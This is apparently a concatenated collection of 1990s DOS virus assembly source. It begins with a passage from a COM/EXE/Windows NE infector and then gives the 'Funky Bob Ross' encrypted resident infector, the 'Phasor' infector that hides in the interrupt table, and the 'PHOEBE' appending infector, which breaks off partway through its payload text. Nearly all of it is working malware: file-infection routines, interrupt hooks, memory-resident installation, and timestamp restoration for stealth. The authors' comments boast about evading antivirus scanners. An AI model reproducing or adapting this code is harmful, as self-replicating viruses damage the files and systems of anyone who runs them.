cmp word ptr [si+18h],40h ;Windows executable.
jb exe_infect
jmp windows_infect
exe_infect:
cmp word ptr [si+0ch],-1 ;Maxmem = All
jne bad_mem
call lseek_end ;Get file length in DX:AX
or dx,dx
jnz ok_exe_size
cmp ax,1000
jb bad_mem
ok_exe_size:
mov cx,512
div cx
inc ax
cmp [si+4],ax ;Check for overlays.
ja bad_mem
mov ax,word ptr [si+0eh] ;Save the original SS:SP
mov word ptr old_ss,ax
mov ax,word ptr [si+10h]
mov word ptr old_sp,ax
mov ax,word ptr [si+14h] ;Save the original CS:IP
mov word ptr exe_ip,ax
mov ax,word ptr [si+16h]
mov word ptr exe_cs,ax
call lseek_end
mov cx,16
div cx
sub ax,word ptr [si+8]
add dx,offset exe_entry
mov word ptr [si+14h],dx ;New IP
mov word ptr [si+16h],ax ;New CS
dec ax
mov word ptr [si+0eh],ax
add dx,1500
and dx,0fffeh
mov word ptr [si+10h],dx
call save_time
mov cx,offset virus_size
mov ah,40h
xor dx,dx
call int21h
call lseek_end
mov cx,512
div cx
or dx,dx
jz no_page_fix
inc ax
no_page_fix:
mov word ptr [si+4],ax
mov word ptr [si+2],dx
call lseek_start
mov word ptr [si+12h],0afafh ;Set infection marker.
mov ah,40h
mov dx,si
mov cx,1ch
call int21h
call restore_time
jmp com_end
com_infect:
cmp byte ptr [si+3],0afh ;Com infection marker.
je com_end
;Save first four com file bytes.
mov di,offset old2
movsw
mov di,offset old4
movsw
mov ax,4202h ;Lseek to file end.
xor cx,cx
cwd
call int21h
or dx,dx ;Check if > 64k
jnz com_end
cmp ax,60000 ;Check if > 60000
ja com_end
cmp ax,1024
jb com_end
sub ax,3
mov word ptr com_jmp+1,ax
call save_time
mov ah,40h ;Write virus body to file.
mov cx,offset virus_size
xor dx,dx
call int21h
jc com_end
mov ax,4200h ;Lseek to file start.
xor cx,cx
cwd
call int21h
mov ah,40h ;Write jump to start of file.
mov cx,4
mov dx,offset com_jmp
call int21h
com_time_end:
call restore_time
com_end:
mov ah,3eh ;Close file.
call int21h
ret
windows_infect:
;Move the Newexe pointer forward.
push word ptr [si+3ch]
pop word ptr newexe_off
sub word ptr [si+3ch],8
cmp word ptr [si+3eh],0 ;Dont want any NE headers at off >64k
jne com_end
mov word ptr [si+12h],0afafh ;Set infection marker.
;Lseek back to start of the file.
mov ax,4200h
xor cx,cx
cwd
call int21h
call save_time
;Write header back.
mov ah,40h
mov cx,512
mov dx,offset virus_size
call int21h
jc com_end
;Lseek to new exe header
mov ax,4200h
mov dx,word ptr newexe_off
xor cx,cx
call int21h
;Read in new exe header
mov ah,3fh
mov cx,512
mov dx,offset virus_size
call int21h
;Adjust header pointers
mov ax,word ptr [si+22h] ;AX=Segment table offset.
cmp word ptr [si+4],ax
jb ok_et
add word ptr [si+4],8
ok_et:
cmp word ptr [si+24h],ax
jb ok_rt
add word ptr [si+24h],8
ok_rt:
cmp word ptr [si+26h],ax
jb ok_rnt
add word ptr [si+26h],8
ok_rnt:
cmp word ptr [si+28h],ax
jb ok_mrt
add word ptr [si+28h],8
ok_mrt:
cmp word ptr [si+2ah],ax
jb ok_int
add word ptr [si+2ah],8
ok_int:
mov ax,word ptr [si+1ch]
inc word ptr [si+1ch] ;Increase segment count.
xor dx,dx
mov cx,8
mul cx
add ax,word ptr [si+22h] ;AX=Offset of segment table end.
adc dx,0
mov cx,512 ;512 byte portions are used
; for the reads later on.
div cx
mov word ptr ne_size,ax
mov word ptr last_ne,dx
;Put the original CS:IP into our relocation table.
push word ptr [si+14h]
pop word ptr old_ip
push word ptr [si+16h]
pop word ptr old_cs
;Save the alignment shift count because we need that for calculating
;the offset of our segment when writing the segment entry.
push word ptr [si+32h]
pop word ptr al_shift
;Point CS:IP to the virus.
mov word ptr [si+14h],offset win_entry ;The new IP
mov ax,word ptr [si+1ch]
mov word ptr [si+16h],ax ;The new CS
;Initialise the lseek variable
push word ptr newexe_off
pop word ptr lseek
;The below code gets the NE header and keeps moving it forward by
;eight bytes in 512 byte chunks.
move_header_forward:
mov ax,word ptr ne_size
or ax,ax
jz last_page
dec word ptr ne_size
mov ax,4200h ;Lseek to our current position.
xor cx,cx
mov dx,word ptr lseek
sub dx,8
call int21h
mov ah,40h ;Write the header section out.
mov cx,512
mov dx,si
call int21h
add word ptr lseek,512
mov ax,4200h ;Lseek to the next chunk.
xor cx,cx
mov dx,word ptr lseek
call int21h
mov ah,3fh ;Read it.
mov dx,offset virus_size
mov cx,512
call int21h
jmp move_header_forward
last_page:
mov ax,4202h ;Lseek to end of file.
xor cx,cx
cwd
call int21h ;File length into DX:AX
;DX:AX=File offset of our segment
;Below section shifts the segment offset right by the alignment
;shift value.
mov cl,byte ptr al_shift
push bx
mov bx,1
shl bx,cl
mov cx,bx
pop bx
div cx
mov word ptr lseek_add,0
or dx,dx
jz no_extra
sub cx,dx
mov word ptr lseek_add,cx
inc ax
no_extra:
mov di,si
add di,word ptr last_ne
;Adding the new segment table entry
mov word ptr [di],ax ;Segment offset
mov word ptr [di+2],offset virus_size
mov word ptr [di+4],180h ;Segment attribute
; 180h = NonMovable + Relocations
mov word ptr [di+6],offset virus_size+512
mov ax,4200h ;Lseek to next position.
xor cx,cx
mov dx,word ptr lseek
sub dx,8
call int21h
mov ah,40h ;Write rest of NE header + new seg entry.
mov cx,word ptr last_ne
add cx,8 ;Added segment entry means eight more.
mov dx,offset virus_size
call int21h
;Reset the relocatable pointer.
push word ptr winip
push word ptr wincs
mov word ptr winip,0
mov word ptr wincs,0ffffh
mov ax,4202h ;Lseek to end of file.
xor cx,cx
mov dx,word ptr lseek_add
call int21h
mov ah,40h ;Write main virus body.
mov cx,offset virus_size
xor dx,dx
call int21h
pop word ptr wincs
pop word ptr winip
mov ah,40h ;Write the relocation item.
mov cx,offset reloc_end - offset relocblk
mov dx,offset relocblk
call int21h
jmp com_time_end
int21h: ;Simulated int 21 call.
pushf
call dword ptr cs:orig21
ret
orig21 dd 0
win_entry: ;WinEXE files begin execution here.
pusha
push ds
push es
mov ax,51feh ;Residency test.
int 21h
cmp ax,0ff51h
je no_wintsr
mov ax,000ah ;Make CS writable.
mov bx,cs
int 31h ;Use DPMI.
mov ds,ax
mov ax,0204h ;Get real mode interrupt vector.
mov bl,21h
int 31h
mov word ptr i21,dx ;Save int21
mov word ptr i21+2,cx
mov word ptr orig21,dx
mov word ptr orig21+2,cx
mov ax,501h
xor bx,bx ;Allocate Linear region
mov cx,offset v_mem_size
int 31h
push bx
push cx
xor ax,ax
mov cx,1 ;Create a Selector
int 31h
mov bx,ax
mov ax,7
pop dx ;Point selector to linear region.
pop cx
int 31h
mov ax,8
xor cx,cx ;Set selector limit
mov dx,offset v_mem_size
int 31h
mov es,bx
mov cx,offset v_mem_size
xor si,si ;Copy virus to the linear region
xor di,di
cld
rep movsb
mov bx,es
mov ax,9 ;Set access rights to 'Code'
mov cx,0ffh
int 31h
mov cx,es
mov dx,offset win21
mov ax,205h
mov bl,21h
int 31h ;Set real mode interrupt vector.
mov ax,4
push es
pop bx ;Lock the selector
int 31h
no_wintsr:
pop es
pop ds
popa
db 0eah ;Return to original file.
winip dw 0
wincs dw 0ffffh
;-----------------------
;Infection Procedures
;-----------------------
Save_Time:
push ax
push cx
push dx
mov ax,5700h
call int21h
mov word ptr time,cx
mov word ptr date,dx
pop dx
pop cx
pop ax
ret
Restore_Time:
push ax
push cx
push dx
db 0bah ;MOV DX,xxxx
date dw 0
db 0b9h ;MOV CX,xxxx
time dw 0
mov ax,5701h
call int21h
pop dx
pop cx
pop ax
ret
Lseek_Start:
mov al,0
jmp short lseek2
Lseek_End:
mov al,2
lseek2:
mov ah,42h
xor cx,cx
cwd
call int21h
ret
;-----------------------
;Infection Data
;-----------------------
;Com infection data.
com_jmp db 0e9h,0,0,0afh
;-----------------------
;Windows infection data.
newexe_off dw 0
al_shift dw 0
ne_size dw 0
last_ne dw 0
lseek dw 0
lseek_add dw 0
Relocblk:
dw 1 ;Number of relocation items
db 3 ;32bit pointer relocation
db 4 ;Additive relocation
dw offset winip
old_cs dw 0 ;The stored original CS & IP of host.
old_ip dw 0
Reloc_end:
;-----------------------
virus_size:
db 512 dup (0) ;Storage buffer.
v_mem_size:

@ -0,0 +1,565 @@
; The Funky Bob Ross Virus Version 1.0
; Written by Dark Angel / 26 September 1991 / (c) 1991
; PHALCON/SKISM Co-op
; Effective length: 1125, Resident length: 672 bytes
;
; DEDICATION:
; This virus was written expressedly to
; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
; other guru-wanna-bes in this world.
; 2) Spread the message of The Almighty Bob, and so enrichen the lives
; of people all over the world.
; 3) Show off (Now I can tell people that I wrote a virus!)
;
; WHAT THIS IS:
; This is a self-encrypting, non-overwriting COM infector. It doesn't do
; anything to EXE files. File sizes increase by 1117 bytes. It goes off
; on July 9th of any year or after 7 infection "waves."
;
; WHAT IT DOES WHEN IT GOES OFF:
; The virus goes memory resident and prints out a Bobism every 5 minutes.
; It then enters a delay loop for approximately 5 seconds, allowing for a
; brief moment of silence while the victim reads Bob's holy message. The
; virus will not destroy anything. The virus will not go TSR if it finds
; another copy of itself in memory.
;
; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT.
; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE
; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO
; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE
; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I
; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
CODE SEGMENT PUBLIC 'CODE'
ORG 100h
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
DTA_fileattr EQU 21
DTA_filetime EQU 22
DTA_filedate EQU 24
DTA_filesize EQU 26
DTA_filename EQU 30
virus_marker equ 026FFh ; JMP WORD PTR
virus_marker2 equ 00104h ; 0104h
part1_size equ part1_end - part1_start
part2_size equ part2_end - part2_start
offset_off equ duh2
init_delay equ 5280 ; Initial delay
delay equ 400 ; Subsequent delay
num_Messages equ 7 ; Number of Bob messages
waves equ 7 ; Number of waves to go off after
infec_date equ 0709h ; Date of psychosis
Counter equ 108h
D_Mess equ 110h
Int_08_Start equ 112h
part1_start:
jmp word ptr duh
duh dw middle_part_end - part1_start + 100h
duh2 dw 0
part1_end:
middle_part_start:
middle_part_end:
;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
cld
call decrypt
mov si, offset Go
add si, offset_off
jmp si
encrypt_val db 00h
decrypt:
encrypt:
mov si, offset encrypt_val
add si, offset_off
mov ah, byte ptr [si]
mov cx, offset part2_end - offset bam_bam
add si, offset bam_bam - offset encrypt_val
mov di, si
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb
loop xor_loop
ret
copy_rest_stuff:
; Mah copying routine
push si ; SI -> buffer3
call encrypt
mov cx, part2_size
pop dx
add dx, offset part2_start - offset buffer3
mov ah, 40h
int 21h
call decrypt
bam_bam:
ret
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2 db part1_end - part1_start dup (?)
buffer3 dw ?
orig_path db 64 dup (?)
num_infec db 0 ; Infection wave number
infec_now db 0 ; Number files infected this time
root_dir db '\',0
com_mask db '*.com',0
dir_mask db '*.*',0
back_dir db '..',0
nest dw 0
DTA db 43 DUP (0) ; For use by infect_dir
Go:
add si, offset buffer - offset Go
mov di, si
add di, offset buffer2 - offset buffer
mov cx, part1_size
rep movsb
mov ah, 47h ; Get directory
xor dl,dl ; Default drive
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
int 21h ; in orig_path
jc Go_Error
mov ah, 3Bh ; Change directory
mov dx, si ; to the root dir
add dx, offset root_dir - offset orig_path
int 21h
jc Go_Error
add si, offset num_infec - offset orig_path
inc byte ptr [si] ; New infection wave
push si ; Save offset num_infec
add si, offset infec_now - offset num_infec
mov byte ptr [si], 3 ; Reset infection
; counter to 3
; for D-new run.
call traverse_fcn ; Do all the work
pop si ; Restore offset num_infec
cmp byte ptr [si], waves ; 10 infection waves?
jge Go_Psycho ; If so, activate
mov ah, 2Ah ; Get date
int 21h
cmp dx, infec_date ; Is it 07/09?
jz Go_Psycho ; If so, activate
Go_Error:
jmp quit ; And then quit
Go_Psycho:
jmp Psycho
origattr db 0
origtime dw 0
origdate dw 0
filesize dw 0 ; Size of the uninfected file
oldhandle dw 0
;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
push si
jmp infect_directory
In_fcn:
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now, do it hard!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
mov dx,offset dir_mask ; *.*
add dx,offset_off
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ;else load dirname
mov ah,3Bh ; and changedir there
int 21h ;Yup, yup
jc short donext ; Do next if invalid
mov si, offset nest ; Else increment nest
add si, offset_off
inc word ptr [si] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
mov ah,1Ah ; and set DTA to it
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ;If OK, jmp elsewhere
mov si, offset nest
add si, offset_off
cmp word ptr [si], 0 ;If root directory (nest == 0)
jle short cleanup ; Quit
dec word ptr [si] ;Else decrement nest
mov dx,offset back_dir ;'..'
add dx, offset_off
mov ah,3Bh ;Change directory
int 21h ; to previous one
cleanup:
pop si
mov sp,bp
pop bp
ret
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================
Goto_Error:
jmp Error
enuff_for_now:
;Set nest to nil
mov si, offset nest ; in order to
add si, offset_off ; halt the D-Cool
mov word ptr [si], 0 ; traversal fcn
jmp short cleanup
return_to_fcn:
jmp short In_fcn ;Return to traversal function
infect_directory:
mov ah, 1Ah ;Set DTA
mov dx, offset DTA ; to DTA struct
add dx, offset_off
int 21h
find_first_COM:
mov ah, 04Eh ; Find first file
mov cx, 0007h ; Any file
mov dx, offset com_mask ; DS:[DX] --> filemask
add dx, offset_off
int 21h ; Fill DTA (hopefully)
jc return_to_fcn ; <Sigh> Error #E421:0.1
jmp check_if_COM_infected ; I<___-Cool! Found one!
find_next_file2:
mov si, offset infec_now ; Another loop,
add si, offset_off ; Another infection
dec byte ptr [si] ; Infected three?
jz enuff_for_now ; If so, exit
find_next_file:
mov ah,4Fh ; Find next
int 21h
jc return_to_fcn
check_if_COM_infected:
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
add si, offset_off
cmp byte ptr [si], 'D' ; ??????D.COM?
jz find_next_file ; don't kill COMMAND.COM
mov ax,3D00h ; Open channel read ONLY
mov dx, si ; Offset Pathname in DX
sub dx, 6
int 21h ; Open NOW!
jc find_next_file ; If error, find another
xchg bx,ax ; bx is now handle
mov ah,3Fh ; Save
mov cx, part1_size ; first part
mov dx, offset buffer ; to buffer
add dx, offset_off ; to be restored
push dx
int 21h ; later
pop si ; Check for virus ID bytes
; in the buffer
push si
lodsw ; DS:[SI] -> AX
cmp ax, virus_marker ; Compare it
jnz infect_it ; infect it if ID #1 not found
lodsw ; Check next two bytes
cmp ax, virus_marker2 ; Compare it
jnz infect_it ; infect if ID #2 not found
pop si
bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another
jmp find_next_file ; 'cuz it's already infected
Signature db 'PHALCON'
;=============================================================================
;D-Good Stuff - Infection routine
;=============================================================================
infect_it:
; save fileattr
pop si
add si, offset DTA + DTA_fileattr - offset buffer
mov di, si
add di, offset origattr - offset DTA - DTA_fileattr
movsb ; DS:[SI] -> ES:[DI]
movsw ; Save origtime
movsw ; Save origdate
movsw ; Save filesize
; Only need LSW
; because COM files
; can only be up to
; 65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ; is less than 8 bytes.
do_again:
mov ah, 2Ch ; get time
int 21h
add dl, dh ; 1/100 sec + 1 sec
jz do_again ; Don't want orig strain!
mov si, offset encrypt_val
add si, offset_off
mov byte ptr [si], dl ; 255 mutations
mov ax, 4301h ; Set file attributes
xor cx, cx ; to nothing
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset encrypt_val
int 21h ; do it now, my child
mov ah, 3Eh ; Close file
int 21h ; handle in BX
mov ax, 3D02h ; Open file read/write
int 21h ; Filename offset in DX
jc bomb_out ; Damn! Probs
mov di, dx
add di, offset oldhandle - offset DTA - DTA_filename
; copy filehandle to
; oldhandle
stosw ; AX -> ES:[DI]
xchg ax, bx ; file handle in BX now
mov ah, 40h ; Write DS:[DX]->file
mov cx, part1_size - 4 ; number of bytes
mov dx, 0100h ; where code starts
int 21h ; (in memory)
mov ah, 40h
mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ; write jmp offset
mov ax, [si] ; AX = filesize
sub ax, 0108h
add si, offset buffer3 - offset filesize
push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h
mov ax, 4202h ; move file ptr
xor cx, cx ; from EOF
xor dx, dx ; offset cx:dx
int 21h
call copy_rest_stuff
pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ; Restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ; old time and
add si, 2
mov dx, word ptr [si] ; date
int 21h
mov ah, 3Eh ; Close file
int 21h
mov ax, 4301h ; Restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ; attributes
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset origattr
int 21h ; do it now
jmp find_next_file2
GotoError:
jmp error
Psycho:
; Check if already installed
push es
mov byte ptr cs:[100h],0 ; Initialize fingerprint
xor bx, bx ; Zero BX for start
mov ax, cs
Init1: inc bx ; Increment search segment
mov es, bx ; value
cmp ax, bx ; Not installed if we reach
je Not_Installed_Yet ; the current segment
mov si, 100h ; Search segment for
mov di, si ; fingerprint in first
mov cx, 4 ; four bytes
repe cmpsb ; Compare
jne init1 ; If not equal, try another
jmp Quit_Init ; else already installed
Not_Installed_Yet:
pop es
mov word ptr cs:[Counter], init_delay
mov word ptr cs:[D_Mess], 1
; Copy interrupt handler to beginning of code
mov si, offset _int_08_handler
add si, offset_off
mov di, Int_08_Start
mov cx, int_end - int_start
rep movsb ; DS:[SI]->ES:[DI]
mov ax, 3508h ; Get int 8 handler
int 21h ; put in ES:BX
mov cs:[duh], bx ; Save old handler
mov cs:[duh+2], es ; in cs:[104h]
mov ax, 2508h ; Install new handler
mov dx, Int_08_Start ; from DS:DX
int 21h ; Do it
push es
mov ax, ds:[2Ch] ; Deallocate program
mov es, ax ; environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ; TSR
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
int 21h
int 20h ; In case of error
Quit_Init:
pop es
Error: ; On error, quit
Quit:
mov ah, 3Bh ; Change directory
mov dx, offset root_dir ; to the root dir
add dx, offset_off
int 21h
mov ah,3Bh ; Change directory
; Return to orig dir
add dx, offset orig_path - offset root_dir
int 21h
; Copy buffer back to beginning of file
mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb
mov di, 0100h
jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr CS:[Counter] ; Counter
jnz QuitNow
;ACTIVATION!!!
mov word ptr CS:[Counter], delay ; Reset counter
; Set up DS & ES to equal CS
push cs
pop ds
push cs
pop es
mov si, offset Messages - offset int_start + int_08_start
mov cx, cs:D_Mess
xor ah, ah
LoopY_ThingY:
lodsb ; DS:SI -> AL
add si, ax ; ES:BP -> Next message to display
loop LoopY_ThingY
lodsb
xchg si, bp
xor cx, cx
mov cl, al ; Length of string
mov ax, 1300h ;
mov bx, 0070h ; Page 0, inverse video
xor dx, dx ; (0,0)
int 10h ; Display ES:BP
inc word ptr cs:[D_Mess]
cmp word ptr cs:[D_Mess], num_messages
jnz Sigh
mov word ptr cs:[D_Mess], 1
Sigh: mov cx, 30h
Sigh2: push cx
mov cx, 0FFFFh
DelayX: loop DelayX
pop cx
loop Sigh2
xchg si, bp
QuitNow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr CS:duh
Messages db 0
db 15, 'Bob Ross lives!'
db 21, 'Bob Ross is watching!'
db 22, 'Maybe he lives here...'
db 26, 'What a happy little cloud!'
db 38, 'Maybe he has a neighbour right here...'
db 40, 'You can make up stories as you go along.'
_int_08_handler endp
int_end:
part2_end:
CODE ends
end part1_start

@ -0,0 +1,166 @@
;
; [Phasor] v1.0
; Written by Memory Lapse of Phalcon/Skism
;
; This is a simple memory resident, COM infector. It hides in the unused
; portion of the interrupt table starting at 0:1E0h.
;
; To Assemble:
; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T
;
.model tiny ;
.code ;
.286 ;
org 100h ;
;
start: ;Mark Start of Code
v_start: ;Mark Start of Virus
mov bp,0000h ;Self Modifying Delta
delta equ $-002h ; Offset.
;
xor di,di ;Load Register w/Zero
mov es,di ;ES = 000h
;
mov di,01E0h ;DI = 1E0h
;
cmp byte ptr es:[di],0BDh ;Virus Present?
jz restoreCOMbytes ;(0BDh = MOV BP,XXXX)
;
push cs ;Save CS onto Stack
pop ds ;Restore DS (CS=DS)
;
mov cx,(heap_end-v_start)/002h ;CX = # of Words To Copy
lea si,[bp+100h] ;SI = Start of Virus
rep movsw ;Copy Virus To Int Table
;
mov ax,offset i021h+0E0h ;AX = Handler + Offset
;
xchg ax,word ptr es:[084h] ;Modify Interrupt Table
mov word ptr es:[i021hOffset+0E0h],ax ; To Point To Virus's
; Interrupt 021h
mov ax,es ; Handler.
;
xchg ax,word ptr es:[086h] ;
mov word ptr es:[i021hSegment+0E0h],ax ;
;
restoreCOMbytes: ;
push cs cs ;Equal Out Segment
pop ds es ; Registers.
;
lea si,[bp+host_bytes] ;SI = Host's Bytes
mov di,100h ;DI = Start of Host
push di ;Save DI onto Stack
mov byte ptr [di],0C3h ;Write RET to Host
call di ;Call 100h (RET)
;
movsb ;Byte @ DS:[SI]=>ES:[DI]
movsw ;Word @ DS:[SI]=>ES:[DI]
;
retn ;Return to Host Program.
;
host_bytes db 0CDh,020h,000h ;Buffer For Starting of
; Host Program.
infect: xor bp,bp ;Load Register w/Zero
;
mov ax,3D00h ;AX = 3D00h
int 021h ;Open File in R/O Mode.
;
xchg ax,bx ;
;
push bx cs cs ;Save Handle, Equal Out
pop ds es ; Segment Registers.
;
mov ax,1220h ;AX = 1220h
int 02Fh ;Get JFT.
;
mov ax,1216h ;AX = 1216h
mov bl,byte ptr es:[di] ;BL = Location of SFT
int 02Fh ;Get SFT.
;
pop bx ;Restore File Handle
;
mov word ptr es:[di+002h],002h ;Open File For Read And
; Write Mode.
mov ah,03Fh ;AH = 3Fh
mov cx,003h ;CX = # of Bytes To Read
mov dx,offset host_bytes+0E0h ;DX = Buffer + Offset
int 021h ;Read 003h Bytes To Bufr
;
mov si,dx ;SI = DX
;
cmp word ptr [si+000h],5A4Dh ;EXE File?
jz closeCOMfile ;Exit Virus
;
cmp word ptr [si+000h],4D5Ah ;EXE File?
jz closeCOMfile ;Exit Virus
;
push cx ;Save CX onto Stack.
;
mov ax,4202h ;AX = 4202h
xor cx,cx ;Load Register w/Zero
cwd ;Load Register w/Zero
int 021h ;Move File Pointer @ EOF
;
pop cx ;Restore CX.
;
mov word ptr [delta+0E0h],ax ;Write Delta Offset
;
sub ax,cx ;Subtract 3h from Size.
mov byte ptr [temp_buffer+0E0h+000h],0E9h ;Write Jump to Buffer
mov word ptr [temp_buffer+0E0h+001h],ax ;Write Location to Buffr
;
sub ax,(v_end-v_start) ;Subtract Virus Length
;
cmp word ptr [si+001h],ax ;Is File Infected?
jz closeCOMfile ;Jump if Infected.
;
mov ah,040h ;AH = 40h
mov cx,(v_end-v_start) ;CX = # of Bytes to Wrte
mov dx,01E0h ;DX = Data to Write
int 021h ;Write To File.
;
mov word ptr es:[di+015h],bp ;Move File Pointer To
mov word ptr es:[di+017h],bp ;Start of File.
;
mov ah,040h ;AH = 40h
mov cx,003h ;CX = # of Bytes to Wrte
mov dx,offset temp_buffer+0E0h ;DX = Data to Write
int 021h ;Write To File.
;
mov ax,5701h ;AX = 5701h
mov cx,word ptr es:[di+00Dh] ;CX = Time Stamp
mov dx,word ptr es:[di+00Fh] ;DX = Date Stamp
int 021h ;Set Time.
;
closeCOMfile: ;
mov ah,03Eh ;AH = 3Eh
int 021h ;Close File.
;
jmp exit ;Unconditional Jump
;
db "[ML/PS]" ;
;
i021h: pusha ;Preserve All Regs.
push ds es ;Save Segment Registers.
;
sub ax,4B00h ;Executing A File?
jnz exit ;Jump If Not 4B00h.
;
jmp infect ;Unconditional Jump.
exit: pop es ds ;Restore Segment Regs.
popa ;Restore All Registers.
;
int21h: db 0EAh ;JMP SSSS:OOOOO
;
v_end: ;End of Virus
heap_start: ;Start of Heap
;
i021hOffset dw 001h dup (?) ;Buffer for Offset
i021hSegment dw 001h dup (?) ;Buffer for Segment
temp_buffer db 003h dup (?) ;Buffer for Calculations
;
heap_end: ;End of Heap
;
end start ;End of Source

@ -0,0 +1,180 @@
;PHOEBE
;coded by Opic of the Codebreakers
;PHOEBE is an appending .com infector with DT via a dotdot routine
;infection criteria is met on a moday once all files that are capable of
;being infected by PHOEBE are, a payload is delivered:
;the monitor will print a message to the screen(in the French) which
;translates to;"Indroducing PHOEBE, she was coded in the heart of midwest
;america in the autumn of ninteen ninty-seven by Opic of The Codebreakers"
;along with a text string which will be printed to the printer. Thanx go
;out to:Spo0ky,Arsonic,and Sea4 for which without their help Phoebe whould
;not be what she is today. PHOEBE can be assembled using a86 V4.02
;it should be noted that phoebe has no anti-av routines, yet is still
;remains undetectable by most av software. a testament to the inconsistancy
;of many av scanners, specifically windows95 scanners.
db 0e9h,0,0 ;jump to virus code..
start_of_PHOEBE:
call delta ;get delta offset to get # of byte virus moved down
delta:
pop bp ; call a pop register to get the ip back into register
sub bp,offset delta ; we subtract the offset delta from bp(ip)
mov cx,3
mov di,100h
lea si,[bp+buffer]
rep movsb
jmp find_first ;jump to find the first file
find_first:
mov ah,4eh ;find's first file in the starting directory..
mov cx,7
lea dx,[bp+filespec]
int 21h
jnc open ;one found.. then infect da
jmp dir_loopy ;otherwise change directory
dir_loopy:
lea dx,[bp+dotdot]
mov ah, 3bh ;int for chdir
int 21h
jnc find_first ;find first file in new directory
jmp check_payload ; we finished spreading so we check payload criteria
find_next:
mov ah, 4Fh ;find next..
int 21h
jnc open ;one found.. INFECT IT!
jmp dir_loopy ;otherwise we do a cd..
open:
mov ax,3d02h ;open file
mov dx,9eh ;get the info from the dta
int 21h
mov bx,ax
mov ah,3fh ;read from file
mov cx,3 ;3 bytes
lea dx,[bp+buffer]
int 21h
mov ax,word ptr[80h + 1ah]
sub ax,end_of_PHOEBE - start_of_PHOEBE + 3
cmp ax,word ptr[bp+buffer+1]
je bomb_it_out
mov ax,word ptr[80h + 1ah]
sub ax,3
mov word ptr[bp+new_three+1],ax
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
lea dx,[bp+new_three]
mov cx,3
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
lea dx,[bp+start_of_PHOEBE]
mov cx,end_of_PHOEBE - start_of_PHOEBE
int 21h
jmp bomb_it_out
bomb_it_out: ;closes the file..
mov ah,3fh ;close file
int 21h
jmp find_next ;find another..
check_payload:
mov ah,2ah ;gets system date
int 21h ;opens it
cmp al,001h ;compares, is it monday?
je payload ; if so, we got shit to do
jmp get_out ; if not then we chill till Mon.
payload:
mov ah,09h ; Fuction 09h: Print String to standard output
lea dx,screen ; Start of '$' terminated string
int 21h
mov ah,01h ;begin of printer sect of payload
mov dx,0h
int 17h ;int for initializing printer
lea si,string1
mov cx,String1Len
PrintStr:
mov ah,00h
lodsb
int 17h
loop PrintStr
Get_out:
lea di,100h
jmp di
new_three db 0e9h,0,0
filespec db '*.com',0
dotdot db '..',0
screen db "Voila PHOEBE! Elle etait code' dans la coeur de ,",10,13
screen2 db "l'amerique midwest a l'automne, dix-neuf cent",10,13
screen3 db 'quatre-vingt-dix-sept, par Opic des Codebreakers',10,13,'$'
;You have to have the "$" at the end of all the text you want to print
String1Len EQU EndStr1-String1
String1 db '*************************PHOEBE*************************',0dh,0ah
db 'Phoebe: high school knockout, better take our MONDAY to',0dh,0ah
db 'the tuesday prize fighter(you were a cab driver off on',0dh,0ah
db 'the distance).youre a runner or a lover:sacred taylor',0dh,0ah
db 'set our records straight one lost two late,im a little',0dh,0ah
db 'off time so set your ticker to mine:',0dh,0ah
db 'id love to have my halo of social grace recrowned.',0dh,0ah
db '(desert island ect.) home to ill will and',0dh,0ah
db 'misrepresentation. barter with me now mexico, i demand',0dh,0ah
db 'it.come bluebeard & red blood-we are life-even in our',0dh,0ah
db 'tied down mishaps. we are life; endure us. dead seven',0dh,0ah
db 'year old run over by a bus while stealing your first',0dh,0ah
db 'and only bicycle; endure. this is life even in my wine',0dh,0ah
